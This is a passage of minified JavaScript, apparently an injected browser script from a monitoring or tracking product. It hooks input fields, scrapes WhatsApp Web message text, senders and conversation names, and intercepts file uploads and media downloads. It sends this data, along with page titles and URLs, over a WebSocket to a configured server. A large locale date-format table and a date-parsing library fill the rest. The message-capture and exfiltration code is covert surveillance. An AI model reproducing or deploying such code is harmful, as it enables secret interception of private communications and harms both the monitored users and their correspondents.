  1586.                function f() {
  1587.                    l(document.getElementsByTagName("input"));
  1588.                    var e = new MutationObserver((function(e) {
  1589.                        e && e.forEach((function(e) {
  1590.                            e && e.addedNodes && 0 != e.addedNodes.length && (window.NodeList && !NodeList.prototype.forEach && (NodeList.prototype.forEach = Array.prototype.forEach),
  1591.                            e.addedNodes.forEach((function(e) {
  1592.                                if (e.tagName) {
  1593.                                    var t = [];
  1594.                                    "input" == e.tagName.toLowerCase() ? t.push(e) : t = e.getElementsByTagName("input"),
  1595.                                    t.length && l(t)
  1596.                                }
  1597.                            }
  1598.                            )))
  1599.                        }
  1600.                        ))
  1601.                    }
  1602.                    ));
  1603.                    e.observe(document, {
  1604.                        childList: !0,
  1605.                        subtree: !0
  1606.                    }),
  1607.                    window.addEventListener("beforeunload", (function(e) {
  1608.                        M(),
  1609.                        function() {
  1610.                            for (var e = document.getElementsByTagName("input"), t = 0; t < e.length; ++t) {
  1611.                                let Y = e[t];
  1612.                                Y.removeEventListener("focus", c),
  1613.                                Y.removeEventListener("blur", M),
  1614.                                delete Y.tmInputEventListenerAttached
  1615.                            }
  1616.                        }()
  1617.                    }
  1618.                    ))
  1619.                }
  1620.                function D() {
  1621.                    var e;
  1622.                    n() && (w.iup && (e = {
  1623.                        type: "connect",
  1624.                        token: w.token,
  1625.                        title: document.title,
  1626.                        url: document.URL,
  1627.                        focused: document.hasFocus(),
  1628.                        useragent: navigator.userAgent,
  1629.                        pid: w.pid,
  1630.                        pn: w.pn
  1631.                    },
  1632.                    null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))),
  1633.                    h() && (v(),
  1634.                    y(),
  1635.                    function() {
  1636.                        function e(e) {
  1637.                            return e.baseURI && e.baseURI.startsWith("https://web.whatsapp.com/")
  1638.                        }
  1639.                        function t(e) {
  1640.                            const t = e.dataTransfer.files;
  1641.                            t.length > 0 && Array.from(t).forEach((e => {
  1642.                                N(e)
  1643.                            }
  1644.                            ))
  1645.                        }
  1646.                        document.querySelectorAll("div").forEach((Y => {
  1647.                            e(Y) && Y.addEventListener("drop", t, {
  1648.                                passive: !0
  1649.                            })
  1650.                        }
  1651.                        ));
  1652.                        var Y = new MutationObserver((function(e) {
  1653.                            e && (Array.from(document.querySelectorAll(".message-in, .message-out")).reduce(( (e, t) => {
  1654.                                var Y = t.querySelector("button[type=button], div[role=button]");
  1655.                                return Y && e.push(Y),
  1656.                                e
  1657.                            }
  1658.                            ), []).forEach((e => {
  1659.                                const t = "modified";
  1660.                                e.hasAttribute(t) || (e.setAttribute(t, ""),
  1661.                                e.onclick = t => {
  1662.                                    t.verified || (t.preventDefault(),
  1663.                                    t.stopPropagation(),
  1664.                                    new Promise((function(t, Y) {
  1665.                                        !function(e, t, Y) {
  1666.                                            try {
  1667.                                                const Y = e.parentElement
  1668.                                                  , n = Y[Object.keys(Y).find((e => e.includes("__reactProps")))].children.props.msg
  1669.                                                  , r = n.mediaData
  1670.                                                  , a = crypto.randomUUID();
  1671.                                                b.set(a, {
  1672.                                                    responseCallback: e => t(!e.block)
  1673.                                                }),
  1674.                                                B.send(JSON.stringify({
  1675.                                                    requestId: a,
  1676.                                                    type: "waptransfer",
  1677.                                                    direction: "download",
  1678.                                                    filename: r.__x_filename,
  1679.                                                    filesize: r.__x_size,
  1680.                                                    filetype: r.__x_mimetype,
  1681.                                                    filehash: n.__x_encFilehash,
  1682.                                                    url: document.URL,
  1683.                                                    process: w.pn,
  1684.                                                    content: ""
  1685.                                                }))
  1686.                                            } catch {
  1687.                                                Y()
  1688.                                            }
  1689.                                        }(e, t, ( () => setTimeout(( () => Y()), 1)))
  1690.                                    }
  1691.                                    )).then((e => {
  1692.                                        t.verified = e,
  1693.                                        t.verified && t.target.dispatchEvent(t)
  1694.                                    }
  1695.                                    ), ( () => {}
  1696.                                    )))
  1697.                                }
  1698.                                )
  1699.                            }
  1700.                            )),
  1701.                            e.forEach((function(e) {
  1702.                                e && ("childList" !== e.type || e.addedNodes.length <= 0 || e.addedNodes.forEach((function(e) {
  1703.                                    if (e) {
  1704.                                        e.querySelectorAll("input").forEach((e => {
  1705.                                            !function(e) {
  1706.                                                const t = "modified";
  1707.                                                "file" !== e.type || e.hasAttribute(t) || (e.setAttribute(t, ""),
  1708.                                                e.addEventListener("change", (e => {
  1709.                                                    Array.from(e.target.files).forEach((e => {
  1710.                                                        N(e)
  1711.                                                    }
  1712.                                                    ))
  1713.                                                }
  1714.                                                )))
  1715.                                            }(e)
  1716.                                        }
  1717.                                        ));
  1718.                                        var t = document.querySelectorAll("div[id=main] header div")[2];
  1719.                                        if (t) {
  1720.                                            var Y = t.querySelectorAll("div")[1]
  1721.                                              , n = t.querySelectorAll("div")[2];
  1722.                                            k = (Y ? Y.innerText : "") + ":" + (n ? n.innerText : "")
  1723.                                        }
  1724.                                        document.querySelector("div[id=main] header span[data-icon=default-user]") && (C = "private"),
  1725.                                        document.querySelector("div[id=main] header span[data-icon=default-group]") && (C = "group");
  1726.                                        var r = e.querySelectorAll(".message-in, .message-out");
  1727.                                        r || A("msgNodes is empty"),
  1728.                                        e.matches(".message-in, .message-out") && (r = Array.prototype.slice.call(r)).push(e),
  1729.                                        r && 0 != r.length ? r.forEach((function(e) {
  1730.                                            if (e)
  1731.                                                if (!e.classList || e.classList.length <= 0)
  1732.                                                    A("msg node does not contain classList or classList is empty");
  1733.                                                else {
  1734.                                                    var t = e.classList.contains("message-in")
  1735.                                                      , Y = e.querySelector(".copyable-text")
  1736.                                                      , n = e.querySelector(".selectable-text")
  1737.                                                      , r = new Date
  1738.                                                      , a = null;
  1739.                                                    if (Y && Y.attributes["data-pre-plain-text"]) {
  1740.                                                        var s = Y.attributes["data-pre-plain-text"].textContent
  1741.                                                          , i = /\[(\d{1,2}):(\d{1,2})[ ]{0,1}([p|a]\.?\s?m\.?)?,\s(.+)]\s(.*):/i[Symbol.match](s);
  1742.                                                        if (!i || 6 != i.length)
  1743.                                                            return void A("no matches for string: " + s);
  1744.                                                        if (i[3] && i[3].length > 1 && "p" == i[3].toLowerCase().slice(0, 1) && (i[1] = parseInt(i[1]) + 12),
  1745.                                                        dateParts = /(\d{1,4})[.-\\/](\d{1,4})[.-\\/](\d{1,4})/[Symbol.match](i[4]),
  1746.                                                        !dateParts || 4 != dateParts.length)
  1747.                                                            return void A("no matches for string: " + i[4]);
  1748.                                                        if (A(i[4] + F),
  1749.                                                        !(r = date.parse(i[4], F) || function(e, t, Y) {
  1750.                                                            var n = [[e, t, Y].join("-"), [e, Y, t].join("-"), [t, e, Y].join("-"), [t, Y, e].join("-"), [Y, e, t].join("-"), [Y, t, e].join("-")]
  1751.                                                              , r = Date.now();
  1752.                                                            for (var a in n) {
  1753.                                                                var s = Date.parse(n[a]);
  1754.                                                                if (s && !(Math.abs(r - s) > 1728e6))
  1755.                                                                    return new Date(s)
  1756.                                                            }
  1757.                                                        }(dateParts[1], dateParts[2], dateParts[3])))
  1758.                                                            return void A("Can't parse date from string: " + i[4]);
  1759.                                                        r.setHours(i[1]),
  1760.                                                        r.setMinutes(i[2]),
  1761.                                                        a = i[5]
  1762.                                                    }
  1763.                                                    A("isIncomingMsg = " + t + " msgDateTime = " + r + " msgSender = " + a + " wapStartTime = " + x + " wapTrackingEnabled = " + O),
  1764.                                                    H.get(k) || H.set(k, x);
  1765.                                                    var o = n ? n.innerText : null;
  1766.                                                    if (A("msgContent = " + o),
  1767.                                                    a && o && O) {
  1768.                                                        var u = (a + o + k + r.getTime()).split("").map((function(e) {
  1769.                                                            return e.charCodeAt(0)
  1770.                                                        }
  1771.                                                        )).reduce((function(e, t) {
  1772.                                                            return e + ((e << 7) + (e << 3)) ^ t
  1773.                                                        }
  1774.                                                        )).toString(16);
  1775.                                                        if (H.get(k).getTime() == r.getTime() ? r.setMilliseconds(++R) : (R = 0,
  1776.                                                        H.set(k, r)),
  1777.                                                        !u || P.has(u))
  1778.                                                            return void A("msgId is null or this msgId already tracked " + u);
  1779.                                                        var d = {
  1780.                                                            type: "wapmessage",
  1781.                                                            timestamp: r.getTime(),
  1782.                                                            id: u,
  1783.                                                            incoming: t,
  1784.                                                            sender: t ? a : "Me",
  1785.                                                            content: o,
  1786.                                                            recipient: t ? "Me" : k,
  1787.                                                            conversationId: k + "(" + C + ")"
  1788.                                                        };
  1789.                                                        B.send(JSON.stringify(d)),
  1790.                                                        P.add(u)
  1791.                                                    }
  1792.                                                }
  1793.                                        }
  1794.                                        )) : A("no msg nodes found")
  1795.                                    }
  1796.                                }
  1797.                                )))
  1798.                            }
  1799.                            )))
  1800.                        }
  1801.                        ));
  1802.                        if (!Y)
  1803.                            return;
  1804.                        Y.observe(document.body, {
  1805.                            childList: !0,
  1806.                            subtree: !0
  1807.                        }),
  1808.                        A("observer is ready")
  1809.                    }()),
  1810.                    n() && (a(),
  1811.                    I = setInterval(a, w.sendNotificationsInterval),
  1812.                    h() && (T = setInterval(s, w.pollWhatsappTrackingInterval))),
  1813.                    function() {
  1814.                        for (var e = [], t = document.getElementsByTagName("link"), Y = 0; Y < t.length; ++Y)
  1815.                            "icon" != t[Y].getAttribute("rel") && "shortcut icon" != t[Y].getAttribute("rel") || (e[e.length] = u(t[Y].getAttribute("href")));
  1816.                        0 == e.length && (e[0] = u("/favicon.ico"));
  1817.                        var n = {
  1818.                            type: "favicon"
  1819.                        };
  1820.                        n.url = document.URL,
  1821.                        n.src = e,
  1822.                        n.title = document.title,
  1823.                        n.token = w.token,
  1824.                        n.useragent = navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator.userAgent,
  1825.                        B.send(JSON.stringify(n))
  1826.                    }(),
  1827.                    w.dontTrackWebPasswords && f())
  1828.                }
  1829.                function p() {
  1830.                    document.tmfilter || (g(),
  1831.                    F = {
  1832.                        "ar-SA": "D/M/YY",
  1833.                        "bg-BG": "D.M.YYYY",
  1834.                        "ca-ES": "D/M/YYYY",
  1835.                        "zh-TW": "YYYY/M/D",
  1836.                        "cs-CZ": "D.M.YYYY",
  1837.                        "Da-DK": "D-M-YYYY",
  1838.                        "De-DE": "D.M.YYYY",
  1839.                        "el-GR": "D/M/YYYY",
  1840.                        "en-US": "M/D/YYYY",
  1841.                        "fi-FI": "D.M.YYYY",
  1842.                        "fr-FR": "D/M/YYYY",
  1843.                        "he-IL": "D/M/YYYY",
  1844.                        "hu-HU": "YYYY. M. D.",
  1845.                        "is-IS": "D.M.YYYY",
  1846.                        "it-IT": "D/M/YYYY",
  1847.                        "ja-JP": "YYYY/M/D",
  1848.                        "ko-KR": "YYYY-M-D",
  1849.                        "nl-NL": "D-M-YYYY",
  1850.                        "nb-NO": "D.M.YYYY",
  1851.                        "pl-PL": "YYYY-M-D",
  1852.                        "pt-BR": "D/M/YYYY",
  1853.                        "ro-RO": "D.M.YYYY",
  1854.                        "ru-RU": "D.M.YYYY",
  1855.                        "hr-HR": "D.M.YYYY",
  1856.                        "sk-SK": "D. M. YYYY",
  1857.                        "sq-AL": "YYYY-M-D",
  1858.                        "sv-SE": "YYYY-M-D",
  1859.                        "th-TH": "D/M/YYYY",
  1860.                        "tr-TR": "D.M.YYYY",
  1861.                        "ur-PK": "D/M/YYYY",
  1862.                        "iD-ID": "D/M/YYYY",
  1863.                        "uk-UA": "D.M.YYYY",
  1864.                        "be-BY": "D.M.YYYY",
  1865.                        "sl-SI": "D.M.YYYY",
  1866.                        "et-EE": "D.M.YYYY",
  1867.                        "lv-LV": "YYYY.M.D.",
  1868.                        "lt-LT": "YYYY.M.D",
  1869.                        "fa-IR": "M/D/YYYY",
  1870.                        "vi-VN": "D/M/YYYY",
  1871.                        "hy-AM": "D.M.YYYY",
  1872.                        "az-Latn-AZ": "D.M.YYYY",
  1873.                        "eu-ES": "YYYY/M/D",
  1874.                        "Mk-MK": "D.M.YYYY",
  1875.                        "af-ZA": "YYYY/M/D",
  1876.                        "ka-GE": "D.M.YYYY",
  1877.                        "fo-FO": "D-M-YYYY",
  1878.                        "hi-IN": "D-M-YYYY",
  1879.                        "Ms-MY": "D/M/YYYY",
  1880.                        "kk-KZ": "D.M.YYYY",
  1881.                        "ky-KG": "D.M.YY",
  1882.                        "sw-KE": "M/D/YYYY",
  1883.                        "uz-Latn-UZ": "D/M YYYY",
  1884.                        "tt-RU": "D.M.YYYY",
  1885.                        "pa-IN": "D-M-YY",
  1886.                        "gu-IN": "D-M-YY",
  1887.                        "ta-IN": "D-M-YYYY",
  1888.                        "te-IN": "D-M-YY",
  1889.                        "kn-IN": "D-M-YY",
  1890.                        "Mr-IN": "D-M-YYYY",
  1891.                        "sa-IN": "D-M-YYYY",
  1892.                        "Mn-MN": "YY.M.D",
  1893.                        "gl-ES": "D/M/YY",
  1894.                        "kok-IN": "D-M-YYYY",
  1895.                        "syr-SY": "D/M/YYYY",
  1896.                        "Dv-MV": "D/M/YY",
  1897.                        "ar-IQ": "D/M/YYYY",
  1898.                        "zh-CN": "YYYY/M/D",
  1899.                        "De-CH": "D.M.YYYY",
  1900.                        "en-GB": "D/M/YYYY",
  1901.                        "es-MX": "D/M/YYYY",
  1902.                        "fr-BE": "D/M/YYYY",
  1903.                        "it-CH": "D.M.YYYY",
  1904.                        "nl-BE": "D/M/YYYY",
  1905.                        "nn-NO": "D.M.YYYY",
  1906.                        "pt-PT": "D-M-YYYY",
  1907.                        "sr-Latn-CS": "D.M.YYYY",
  1908.                        "sv-FI": "D.M.YYYY",
  1909.                        "az-Cyrl-AZ": "D.M.YYYY",
  1910.                        "Ms-BN": "D/M/YYYY",
  1911.                        "uz-Cyrl-UZ": "D.M.YYYY",
  1912.                        "ar-EG": "D/M/YYYY",
  1913.                        "zh-HK": "D/M/YYYY",
  1914.                        "De-AT": "D.M.YYYY",
  1915.                        "en-AU": "D/M/YYYY",
  1916.                        "es-ES": "D/M/YYYY",
  1917.                        "fr-CA": "YYYY-M-D",
  1918.                        "sr-Cyrl-CS": "D.M.YYYY",
  1919.                        "ar-LY": "D/M/YYYY",
  1920.                        "zh-SG": "D/M/YYYY",
  1921.                        "De-LU": "D.M.YYYY",
  1922.                        "en-CA": "D/M/YYYY",
  1923.                        "es-GT": "D/M/YYYY",
  1924.                        "fr-CH": "D.M.YYYY",
  1925.                        "ar-DZ": "D-M-YYYY",
  1926.                        "zh-MO": "D/M/YYYY",
  1927.                        "De-LI": "D.M.YYYY",
  1928.                        "en-NZ": "D/M/YYYY",
  1929.                        "es-CR": "D/M/YYYY",
  1930.                        "fr-LU": "D/M/YYYY",
  1931.                        "ar-MA": "D-M-YYYY",
  1932.                        "en-IE": "D/M/YYYY",
  1933.                        "es-PA": "M/D/YYYY",
  1934.                        "fr-MC": "D/M/YYYY",
  1935.                        "ar-TN": "D-M-YYYY",
  1936.                        "en-ZA": "YYYY/M/D",
  1937.                        "es-DO": "D/M/YYYY",
  1938.                        "ar-OM": "D/M/YYYY",
  1939.                        "en-JM": "D/M/YYYY",
  1940.                        "es-VE": "D/M/YYYY",
  1941.                        "ar-YE": "D/M/YYYY",
  1942.                        "en-029": "M/D/YYYY",
  1943.                        "es-CO": "D/M/YYYY",
  1944.                        "ar-SY": "D/M/YYYY",
  1945.                        "en-BZ": "D/M/YYYY",
  1946.                        "es-PE": "D/M/YYYY",
  1947.                        "ar-JO": "D/M/YYYY",
  1948.                        "en-TT": "D/M/YYYY",
  1949.                        "es-AR": "D/M/YYYY",
  1950.                        "ar-LB": "D/M/YYYY",
  1951.                        "en-ZW": "M/D/YYYY",
  1952.                        "es-EC": "D/M/YYYY",
  1953.                        "ar-KW": "D/M/YYYY",
  1954.                        "en-PH": "M/D/YYYY",
  1955.                        "es-CL": "D-M-YYYY",
  1956.                        "ar-AE": "D/M/YYYY",
  1957.                        "es-UY": "D/M/YYYY",
  1958.                        "ar-BH": "D/M/YYYY",
  1959.                        "es-PY": "D/M/YYYY",
  1960.                        "ar-QA": "D/M/YYYY",
  1961.                        "es-BO": "D/M/YYYY",
  1962.                        "es-SV": "D/M/YYYY",
  1963.                        "es-HN": "D/M/YYYY",
  1964.                        "es-NI": "D/M/YYYY",
  1965.                        "es-PR": "D/M/YYYY",
  1966.                        "aM-ET": "D/M/YYYY",
  1967.                        "tzM-Latn-DZ": "D-M-YYYY",
  1968.                        "iu-Latn-CA": "D/M/YYYY",
  1969.                        "sMa-NO": "D.M.YYYY",
  1970.                        "Mn-Mong-CN": "YYYY/M/D",
  1971.                        "gD-GB": "D/M/YYYY",
  1972.                        "en-MY": "D/M/YYYY",
  1973.                        "prs-AF": "D/M/YY",
  1974.                        "bn-BD": "D-M-YY",
  1975.                        "wo-SN": "D/M/YYYY",
  1976.                        "rw-RW": "M/D/YYYY",
  1977.                        "qut-GT": "D/M/YYYY",
  1978.                        "sah-RU": "M.D.YYYY",
  1979.                        "gsw-FR": "D/M/YYYY",
  1980.                        "co-FR": "D/M/YYYY",
  1981.                        "oc-FR": "D/M/YYYY",
  1982.                        "Mi-NZ": "D/M/YYYY",
  1983.                        "ga-IE": "D/M/YYYY",
  1984.                        "se-SE": "YYYY-M-D",
  1985.                        "br-FR": "D/M/YYYY",
  1986.                        "sMn-FI": "D.M.YYYY",
  1987.                        "Moh-CA": "M/D/YYYY",
  1988.                        "arn-CL": "D-M-YYYY",
  1989.                        "ii-CN": "YYYY/M/D",
  1990.                        "Dsb-DE": "D. M. YYYY",
  1991.                        "ig-NG": "D/M/YYYY",
  1992.                        "kl-GL": "D-M-YYYY",
  1993.                        "lb-LU": "D/M/YYYY",
  1994.                        "ba-RU": "D.M.YY",
  1995.                        "nso-ZA": "YYYY/M/D",
  1996.                        "quz-BO": "D/M/YYYY",
  1997.                        "yo-NG": "D/M/YYYY",
  1998.                        "ha-Latn-NG": "D/M/YYYY",
  1999.                        "fil-PH": "M/D/YYYY",
  2000.                        "ps-AF": "D/M/YY",
  2001.                        "fy-NL": "D-M-YYYY",
  2002.                        "ne-NP": "M/D/YYYY",
  2003.                        "se-NO": "D.M.YYYY",
  2004.                        "iu-Cans-CA": "D/M/YYYY",
  2005.                        "sr-Latn-RS": "D.M.YYYY",
  2006.                        "si-LK": "YYYY-M-D",
  2007.                        "sr-Cyrl-RS": "D.M.YYYY",
  2008.                        "lo-LA": "D/M/YYYY",
  2009.                        "kM-KH": "YYYY-M-D",
  2010.                        "cy-GB": "D/M/YYYY",
  2011.                        "bo-CN": "YYYY/M/D",
  2012.                        "sMs-FI": "D.M.YYYY",
  2013.                        "as-IN": "D-M-YYYY",
  2014.                        "Ml-IN": "D-M-YY",
  2015.                        "en-IN": "D-M-YYYY",
  2016.                        "or-IN": "D-M-YY",
  2017.                        "bn-IN": "D-M-YY",
  2018.                        "tk-TM": "D.M.YY",
  2019.                        "bs-Latn-BA": "D.M.YYYY",
  2020.                        "Mt-MT": "D/M/YYYY",
  2021.                        "sr-Cyrl-ME": "D.M.YYYY",
  2022.                        "se-FI": "D.M.YYYY",
  2023.                        "zu-ZA": "YYYY/M/D",
  2024.                        "xh-ZA": "YYYY/M/D",
  2025.                        "tn-ZA": "YYYY/M/D",
  2026.                        "hsb-DE": "D. M. YYYY",
  2027.                        "bs-Cyrl-BA": "D.M.YYYY",
  2028.                        "tg-Cyrl-TJ": "D.M.YY",
  2029.                        "sr-Latn-BA": "D.M.YYYY",
  2030.                        "sMj-NO": "D.M.YYYY",
  2031.                        "rM-CH": "D/M/YYYY",
  2032.                        "sMj-SE": "YYYY-M-D",
  2033.                        "quz-EC": "D/M/YYYY",
  2034.                        "quz-PE": "D/M/YYYY",
  2035.                        "hr-BA": "D.M.YYYY.",
  2036.                        "sr-Latn-ME": "D.M.YYYY",
  2037.                        "sMa-SE": "YYYY-M-D",
  2038.                        "en-SG": "D/M/YYYY",
  2039.                        "ug-CN": "YYYY-M-D",
  2040.                        "sr-Cyrl-BA": "D.M.YYYY",
  2041.                        "es-US": "M/D/YYYY"
  2042.                    }[navigator.language],
  2043.                    document.tmfilter = "present")
  2044.                }
  2045.                function g() {
  2046.                    (B = new WebSocket(w.connectionString)).onclose = i,
  2047.                    B.onmessage = o,
  2048.                    B.onopen = D,
  2049.                    w.extJs && (w.extJs.webSock = {
  2050.                        readyState: () => B.readyState,
  2051.                        send: e => B.send(e)
  2052.                    })
  2053.                }
  2054.                function m() {
  2055.                    var e = function() {
  2056.                        var e = ["webkit", "moz", "ms", "o"];
  2057.                        if ("hidden"in document)
  2058.                            return "hidden";
  2059.                        for (var t = 0; t < e.length; t++)
  2060.                            if (e[t] + "Hidden"in document)
  2061.                                return e[t] + "Hidden";
  2062.                        return null
  2063.                    }();
  2064.                    return !!e && document[e]
  2065.                }
  2066.                function h() {
  2067.                    var e = document.head.querySelector("[name='og:title']");
  2068.                    return !!e && "WhatsApp Web" === e.getAttribute("content")
  2069.                }
  2070.                function y() {
  2071.                    B.send(JSON.stringify({
  2072.                        type: "waptracking"
  2073.                    }))
  2074.                }
  2075.                function v() {
  2076.                    H = new Map,
  2077.                    P = new Set,
  2078.                    R = 0,
  2079.                    (x = new Date).setSeconds(0),
  2080.                    x.setMilliseconds(0)
  2081.                }
  2082.                function S(e) {
  2083.                    for (var t = "", Y = new Uint8Array(e), n = Y.byteLength, r = 0; r < n; r++)
  2084.                        t += String.fromCharCode(Y[r]);
  2085.                    return window.btoa(t)
  2086.                }
  2087.                e = this,
  2088.                t = {},
  2089.                Y = {
  2090.                    en: {
  2091.                        MMMM: "January February March April May June July August September October November December".split(" "),
  2092.                        MMM: "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),
  2093.                        dddd: "Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),
  2094.                        ddd: "Sun Mon Tue Wed Thu Fri Sat".split(" "),
  2095.                        dd: "Su Mo Tu We Th Fr Sa".split(" "),
  2096.                        A: ["a.m.", "p.m."],
  2097.                        formatter: {
  2098.                            YYYY: function(e) {
  2099.                                return ("000" + e.getFullYear()).slice(-4)
  2100.                            },
  2101.                            YY: function(e) {
  2102.                                return ("0" + e.getFullYear()).slice(-2)
  2103.                            },
  2104.                            Y: function(e) {
  2105.                                return "" + e.getFullYear()
  2106.                            },
  2107.                            MMMM: function(e) {
  2108.                                return this.MMMM[e.getMonth()]
  2109.                            },
  2110.                            MMM: function(e) {
  2111.                                return this.MMM[e.getMonth()]
  2112.                            },
  2113.                            MM: function(e) {
  2114.                                return ("0" + (e.getMonth() + 1)).slice(-2)
  2115.                            },
  2116.                            M: function(e) {
  2117.                                return "" + (e.getMonth() + 1)
  2118.                            },
  2119.                            DD: function(e) {
  2120.                                return ("0" + e.getDate()).slice(-2)
  2121.                            },
  2122.                            D: function(e) {
  2123.                                return "" + e.getDate()
  2124.                            },
  2125.                            HH: function(e) {
  2126.                                return ("0" + e.getHours()).slice(-2)
  2127.                            },
  2128.                            H: function(e) {
  2129.                                return "" + e.getHours()
  2130.                            },
  2131.                            A: function(e) {
  2132.                                return this.A[11 < e.getHours() | 0]
  2133.                            },
  2134.                            hh: function(e) {
  2135.                                return ("0" + (e.getHours() % 12 || 12)).slice(-2)
  2136.                            },
  2137.                            h: function(e) {
  2138.                                return "" + (e.getHours() % 12 || 12)
  2139.                            },
  2140.                            mm: function(e) {
  2141.                                return ("0" + e.getMinutes()).slice(-2)
  2142.                            },
  2143.                            m: function(e) {
  2144.                                return "" + e.getMinutes()
  2145.                            },
  2146.                            ss: function(e) {
  2147.                                return ("0" + e.getSeconds()).slice(-2)
  2148.                            },
  2149.                            s: function(e) {
  2150.                                return "" + e.getSeconds()
  2151.                            },
  2152.                            SSS: function(e) {
  2153.                                return ("00" + e.getMilliseconds()).slice(-3)
  2154.                            },
  2155.                            SS: function(e) {
  2156.                                return ("0" + (e.getMilliseconds() / 10 | 0)).slice(-2)
  2157.                            },
  2158.                            S: function(e) {
  2159.                                return "" + (e.getMilliseconds() / 100 | 0)
  2160.                            },
  2161.                            dddd: function(e) {
  2162.                                return this.dddd[e.getDay()]
  2163.                            },
  2164.                            ddd: function(e) {
  2165.                                return this.ddd[e.getDay()]
  2166.                            },
  2167.                            dd: function(e) {
  2168.                                return this.dd[e.getDay()]
  2169.                            },
  2170.                            Z: function(e) {
  2171.                                return (0 < (e = e.utc ? 0 : e.getTimezoneOffset() / .6) ? "-" : "+") + ("000" + Math.abs(e - e % 100 * .4)).slice(-4)
  2172.                            },
  2173.                            post: function(e) {
  2174.                                return e
  2175.                            }
  2176.                        },
  2177.                        parser: {
  2178.                            find: function(e, t) {
  2179.                                for (var Y, n = -1, r = 0, a = 0, s = e.length; a < s; a++)
  2180.                                    Y = e[a],
  2181.                                    !t.indexOf(Y) && Y.length > r && (n = a,
  2182.                                    r = Y.length);
  2183.                                return {
  2184.                                    index: n,
  2185.                                    length: r
  2186.                                }
  2187.                            },
  2188.                            MMMM: function(e) {
  2189.                                return this.parser.find(this.MMMM, e)
  2190.                            },
  2191.                            MMM: function(e) {
  2192.                                return this.parser.find(this.MMM, e)
  2193.                            },
  2194.                            A: function(e) {
  2195.                                return this.parser.find(this.A, e)
  2196.                            },
  2197.                            h: function(e, t) {
  2198.                                return (12 === e ? 0 : e) + 12 * t
  2199.                            },
  2200.                            pre: function(e) {
  2201.                                return e
  2202.                            }
  2203.                        }
  2204.                    }
  2205.                },
  2206.                t.format = function(e, n, r) {
  2207.                    var a = t.addMinutes(e, r ? e.getTimezoneOffset() : 0)
  2208.                      , s = Y.en
  2209.                      , i = s.formatter;
  2210.                    return a.utc = r,
  2211.                    n.replace(/(\[[^\[\]]*]|\[.*\][^\[]*\]|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g, (function(e) {
  2212.                        var t = i[e];
  2213.                        return t ? i.post(t.call(s, a, n)) : e.replace(/\[(.*)]/, "$1")
  2214.                    }
  2215.                    ))
  2216.                }
  2217.                ,
  2218.                t.parse = function(e, n, r) {
  2219.                    var a, s, i = Y.en, o = i.parser.pre(e), u = 0, d = /(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g, c = {
  2220.                        2: /^\d{1,4}/,
  2221.                        3: /^\d{1,3}/,
  2222.                        4: /^\d\d/,
  2223.                        5: /^\d\d?/,
  2224.                        6: /^\d/
  2225.                    };
  2226.                    e = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
  2227.                    for (var M = {
  2228.                        Y: 1970,
  2229.                        M: 1,
  2230.                        D: 1,
  2231.                        H: 0,
  2232.                        m: 0,
  2233.                        s: 0,
  2234.                        S: 0
  2235.                    }; a = d.exec(n); ) {
  2236.                        var l = 0
  2237.                          , f = 1;
  2238.                        for (s = ""; !s; )
  2239.                            s = a[++l];
  2240.                        a = s.charAt(0);
  2241.                        var D = o.slice(u);
  2242.                        if (2 > l) {
  2243.                            var p = i.parser[s].call(i, D, n);
  2244.                            M[a] = p.index,
  2245.                            "M" === a && M[a]++,
  2246.                            f = p.length
  2247.                        } else if (7 > l)
  2248.                            p = (D.match(c[l]) || [""])[0],
  2249.                            M[a] = 0 | ("S" === a ? (p + "000").slice(0, -s.length) : p),
  2250.                            f = p.length;
  2251.                        else if (" " !== a && a !== D[0])
  2252.                            return NaN;
  2253.                        if (!f)
  2254.                            return NaN;
  2255.                        u += f
  2256.                    }
  2257.                    return u === o.length && p ? (M.Y += 70 > M.Y ? 2e3 : 100 > M.Y ? 1900 : 0,
  2258.                    M.H = M.H || i.parser.h(M.h || 0, M.A || 0),
  2259.                    n = new Date(M.Y,M.M - 1,M.D,M.H,M.m,M.s,M.S),
  2260.                    e[1] += 0 | t.isLeapYear(n),
  2261.                    1 > M.M || 12 < M.M || 1 > M.D || M.D > e[M.M - 1] || 23 < M.H || 59 < M.m || 59 < M.s ? NaN : r ? t.addMinutes(n, -n.getTimezoneOffset()) : n) : NaN
  2262.                }
  2263.                ,
  2264.                t.isValid = function(e, Y) {
  2265.                    return !!t.parse(e, Y)
  2266.                }
  2267.                ,
  2268.                t.addYears = function(e, Y) {
  2269.                    return t.addMonths(e, 12 * Y)
  2270.                }
  2271.                ,
  2272.                t.addMonths = function(e, t) {
  2273.                    var Y = new Date(e.getTime());
  2274.                    return Y.setMonth(Y.getMonth() + t),
  2275.                    Y
  2276.                }
  2277.                ,
  2278.                t.addDays = function(e, t) {
  2279.                    var Y = new Date(e.getTime());
  2280.                    return Y.setDate(Y.getDate() + t),
  2281.                    Y
  2282.                }
  2283.                ,
  2284.                t.addHours = function(e, Y) {
  2285.                    return t.addMilliseconds(e, 36e5 * Y)
  2286.                }
  2287.                ,
  2288.                t.addMinutes = function(e, Y) {
  2289.                    return t.addMilliseconds(e, 6e4 * Y)
  2290.                }
  2291.                ,
  2292.                t.addSeconds = function(e, Y) {
  2293.                    return t.addMilliseconds(e, 1e3 * Y)
  2294.                }
  2295.                ,
  2296.                t.addMilliseconds = function(e, t) {
  2297.                    return new Date(e.getTime() + t)
  2298.                }
  2299.                ,
  2300.                t.subtract = function(e, t) {
  2301.                    var Y = e.getTime() - t.getTime();
  2302.                    return {
  2303.                        toMilliseconds: function() {
  2304.                            return Y
  2305.                        },
  2306.                        toSeconds: function() {
  2307.                            return Y / 1e3 | 0
  2308.                        },
  2309.                        toMinutes: function() {
  2310.                            return Y / 6e4 | 0
  2311.                        },
  2312.                        toHours: function() {
  2313.                            return Y / 36e5 | 0
  2314.                        },
  2315.                        toDays: function() {
  2316.                            return Y / 864e5 | 0
  2317.                        }
  2318.                    }
  2319.                }
  2320.                ,
  2321.                t.isLeapYear = function(e) {
  2322.                    return !(((e = e.getFullYear()) % 4 || !(e % 100)) && e % 400)
  2323.                }
  2324.                ,
  2325.                t.isSameDay = function(e, Y) {
